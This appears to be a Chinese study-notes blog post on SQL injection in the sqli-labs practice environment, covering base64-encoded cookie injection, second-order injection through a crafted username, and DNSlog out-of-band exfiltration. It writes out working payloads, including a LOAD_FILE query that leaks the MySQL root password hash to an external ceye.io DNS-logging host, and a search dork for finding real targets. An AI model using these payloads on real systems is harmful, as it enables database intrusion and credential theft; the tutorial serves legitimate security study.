0
点赞
收藏
分享

微信扫一扫

[网络安全]Day17 SQL注入之二次,加解密,DNSlog等注入

阎小妍 2022-03-11 阅读 70

#加解密(Sql-libs Lesson21)

简而言之就是注意注入点内容是否经过加密,如果经过加密则注入语句也需要经过加密。

sqlmap里也有注入点base64加密的插件。

实例1:

step1: 抓数据包,发现这里是Cookie注入,注入点在这里,且经过加密。%3D是=,这是用Base64加密了。所以在注入的时候,要把整个语句也都加密。

看样子这里是先base64加密,然后URL编码。

原因是代码里会进行一次解密,所以我们传入的语句要加密。

step2:可以用报错注入语句验证一下,顺便验证一下报错语句。

实例2:

inurl:id=MQ== 来找一些现实中某些加密的网站

#二次注入

与之前的注入在产生地方的区别。二次注入无法通过扫描工具或者说手工测试出来。

二次注入产生在源代码中,黑盒测试是找不到的。建立在白盒之上。产生在数据互联中,比如注册账号或者修改账号信息。

这个也解决了如果参数进行了转义函数该怎么办的问题。转义的数据在写入原数据库中会被还原为原来的数据。经过实验sql语句中还是带 \ ,只有当写入到表中去的时候,也就是字符串被输出时才会消掉 \ ,完成转义对于 ' 的保护。这也表明了碰到魔术语句,一般的sql注入是不行的。

简而言之,就是先把攻击语句写好并放到数据库中,然后有一些操作会用到这些数据,把它当作条件。

比如:

我注册了一个账户名为 admin' and 1=1        ,然后我要修改数据就会执行这个sql命令

自然而然的,就实现了注入。

二次注入可能会遇到的困难:用户名长度限制

前端就是html语言,是对于网页的而渲染。后端是类似于php语言,对数据进行处理。

在后端限制的话解决不掉。

在前端限制的话,可以直接修改html代码中对于长度限制的代码。

实例1:(Lesson24)

step1:

这里有个问题我可以抓包看看到底是啥样子。为啥不能直接注入,必须二次注入呢?代码中是怎么保护的呢?

我感觉注册的时候会进行转义,加上 \' ,不过也符合常理,就是如图片所说。得去看看源代码。

注册账户 dhakkan'#        可以看到数据库中已经有了

 step2:登陆进去,并修改密码为xxxxxx,为了出发二次注入

step3:惊讶的发现竟然是dhakkan修改了密码。

修改密码的代码:因为用户名从而导致了sql注入。#注释掉了对于后边password的检查。

#DNSlog:解决了盲注不能回显,效率低的问题

需要满足的条件:需要对方的注入点是高权限,因为涉及到文件读取。

为什么都可以文件读取了,那不直接进行文件读取操作?:因为,即使能进行文件读取,后门也不一定能起作用。比如,后门脚本不解析。

当碰到独立的语句时,不好union select一类的时候。注意可以使用条件判断,因为在执行条件语句的时候,一定会执行条件。所以可以使用 and if(   (条件)   ,  1,  0 )

CEYE

DNS的一个平台:CEYE - Monitor service for security testing

对于每个用户,都有唯一的域名标识符如 xxxx.ceye.io
所有来自于 xxxx.ceye.io 或 *.xxxx.ceye.io 的 DNS查询和HTTP请求都会被记录

这个网站里也有每一种数据库的payload。

MySQL:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));

concat()中,中间那一大坨东西就是我们想要显示的信息。

正式使用:
select * from users where id=1 and if( (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc')))  ,1,0)

load_file() 支持对外的读取。数据库通过这个函数可以访问域名,从而留下信息。DNS解析服务器的日志上就会有这个信息。实现回显的目的。

首先自己需要创建一个可以配置的域名,我们这里用的是ceye.io,能够实时地监控域名查询请求了。DNS在解析的时候会留下日志,咱们就是通过读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。

因为*.xxxx.ceye.io的域名我们都可以接收到,所以我们在sql语句中的URL中,可以将 * 替换成我们想要的信息,比如user(),database()等等。 就是将信息放在域名上。
 

实例:

step1:在上边的平台上注册一个账号,得到自己的DNS地址。

手工注入需要DNS地址。

工具的话需要API Token。

step2:注入语句

select * from users where id=1 and if ( (select load_file( concat('\\\\', (select version()), '.oj6kqk.ceye.io\\abc')  )) 1,0  );

中间的select version()信息就是我们想要回显的。

 step3: 域名的前边,就是我们想要回显的信息。

工具:DnslogSqlinj

step1:配置好config.py文件

step2:

单引号 ' 和最后的--+看情况写。 

域名需要加双引号。

31m表示回写时间

 

脚本中转:自己写

主要是有些时候手工注入比较麻烦。

对于注入工具,也可以自己写脚本插件。

sqlpmap有丰富的脚本(在tamper文件夹下),也可以进行二次开发。

实例1:

step1:简单脚本实现自动base64加密。

url变量存的是要访问的地址

将get得到的经过base64加密,在和url拼接到一起。

其实说到底是做了一次中转。

file_get_contents()的作用是读取文件内容,也就是可以读取目标URL的网页HTML代码(其实就是做了一个URL请求)并返回,在自己的网页上渲染。或者简单来说就是访问这个URL。

 感觉代码有点儿小问题,php中是靠 . 拼接的,而且是不是要输出读取的文件才能显示?

举报

相关推荐

0 条评论